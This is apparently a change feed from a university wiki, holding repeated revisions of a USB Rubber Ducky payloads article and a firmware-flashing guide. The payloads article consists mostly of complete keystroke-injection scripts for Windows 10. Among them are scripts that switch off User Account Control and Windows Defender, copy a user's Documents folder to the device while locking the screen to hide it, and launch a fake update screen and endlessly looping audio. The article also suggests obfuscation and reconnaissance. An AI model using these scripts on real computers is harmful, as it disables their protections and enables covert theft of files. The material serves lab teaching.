* [[USB Rubber Ducky: Payloads]]&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=10232</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=10232"/>
		<updated>2022-07-06T14:04:50Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
See the article on the basics of the device here: [[Hak5 Rubber Ducky]]&lt;br /&gt;
For some payloads you may need to use different Rubber Ducky Firmware. A short guide is found here: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. This can potentially be reduced to DELAY 1000 depending on the target host.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows “Run” command to open the “Documents” directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches the site fakeupdate.net/win10ue in the systems default internet browser and sets it to Fullscreen mode. This simulates the Windows 10 Update Screen, and it can’t be easily exited by hitting the Escape-key. Hitting the Enter-key results in a fake Bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can loop code indefinitely. It uses the “copy con” command to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or to restart the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky_-_Payloads&amp;diff=10231</id>
		<title>USB Rubber Ducky - Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky_-_Payloads&amp;diff=10231"/>
		<updated>2022-07-06T14:04:29Z</updated>

		<summary type="html">&lt;p&gt;BVogler: BVogler moved page USB Rubber Ducky - Payloads to USB Rubber Ducky: Payloads&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[USB Rubber Ducky: Payloads]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=10230</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=10230"/>
		<updated>2022-07-06T14:04:28Z</updated>

		<summary type="html">&lt;p&gt;BVogler: BVogler moved page USB Rubber Ducky - Payloads to USB Rubber Ducky: Payloads&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
See the article on the basics of the device here: [[Hak5 Rubber Ducky]]&lt;br /&gt;
For some payloads you may need to use different Rubber Ducky Firmware. A short guide is found here: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. This can potentially be reduced to DELAY 1000 depending on the target host.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows “Run” command to open the “Documents” directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches the site fakeupdate.net/win10ue in the systems default internet browser and sets it to Fullscreen mode. This simulates the Windows 10 Update Screen, and it can’t be easily exited by hitting the Escape-key. Hitting the Enter-key results in a fake Bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can loop code indefinitely. It uses the “copy con” command to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or to restart the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky – Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky_%E2%80%93_Firmware_Update&amp;diff=10229</id>
		<title>USB Rubber Ducky – Firmware Update</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky_%E2%80%93_Firmware_Update&amp;diff=10229"/>
		<updated>2022-07-06T14:04:10Z</updated>

		<summary type="html">&lt;p&gt;BVogler: BVogler moved page USB Rubber Ducky – Firmware Update to USB Rubber Ducky: Firmware Update&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[USB Rubber Ducky: Firmware Update]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Firmware_Update&amp;diff=10228</id>
		<title>USB Rubber Ducky: Firmware Update</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Firmware_Update&amp;diff=10228"/>
		<updated>2022-07-06T14:04:10Z</updated>

		<summary type="html">&lt;p&gt;BVogler: BVogler moved page USB Rubber Ducky – Firmware Update to USB Rubber Ducky: Firmware Update&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article consists of a short guide on changing or updating the USB Rubber Ducky firmware. It is intended as a supplement to the existing online guides since those are partly out of date.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Host PC running Ubuntu Linux or a Virtual Machine (tested on 20.04 LTS)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
We will be using the Ducky-Flasher utility by kmichael500 which is provided here (https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility) and we will make certain adjustments to get it to run on a modern Ubuntu Linux system. The afore mentioned guide also provides ways to update firmware on Windows or OSX, but we could not get those to work on current Operating Systems.&lt;br /&gt;
&lt;br /&gt;
# Install dfu-programmer&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;apt-get install dfu-programmer&amp;lt;/code&amp;gt;&lt;br /&gt;
# Install Python 2.x&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;apt-get install python2&amp;lt;/code&amp;gt;&lt;br /&gt;
# Download and unzip Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;wget https://github.com/hak5darren/USB-Rubber-Ducky/raw/master/Flash/ducky-flasher1.0.zip&amp;lt;/code&amp;gt;&amp;lt;br/&amp;gt;unzip ducky-flasher1.0.zip&lt;br /&gt;
# Open ducky-flasher with your favourite text editor and change the Shebang to &amp;lt;code&amp;gt;#!/usr/bin/env python2&amp;lt;/code&amp;gt;&lt;br /&gt;
# (optional) Ducky-Flasher provides four different firmware images (Original, FAT Duck, Detour Duck and Twin Duck).&amp;lt;br/&amp;gt;If you want to use a different firmware image you can either rename the file and overwrite to the corresponding file in the ducky-flasher/firmware directory or modify the Ducky-Flasher program itself to add new firmware. Firmware images can be found [https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images here].&lt;br /&gt;
# Install the Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo python2 setup.py&amp;lt;/code&amp;gt;&lt;br /&gt;
# Connect the Rubber Ducky in DFU mode by keeping the button pressed while plugging it in.&lt;br /&gt;
# Start the Ducky-Flasher and follow the instructions&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo ducky-flasher&amp;lt;/code&amp;gt;&lt;br /&gt;
# (optional) Uninstall the Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo python2 uninstall.py&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5_Rubber_Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky - Payloads]]&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=10227</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=10227"/>
		<updated>2022-07-06T14:02:57Z</updated>

		<summary type="html">&lt;p&gt;BVogler: documentation created&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
See the article on the basics of the device here: [[Hak5 Rubber Ducky]]&lt;br /&gt;
For some payloads you may need to use different Rubber Ducky Firmware. A short guide is found here: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. This can potentially be reduced to DELAY 1000 depending on the target host.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
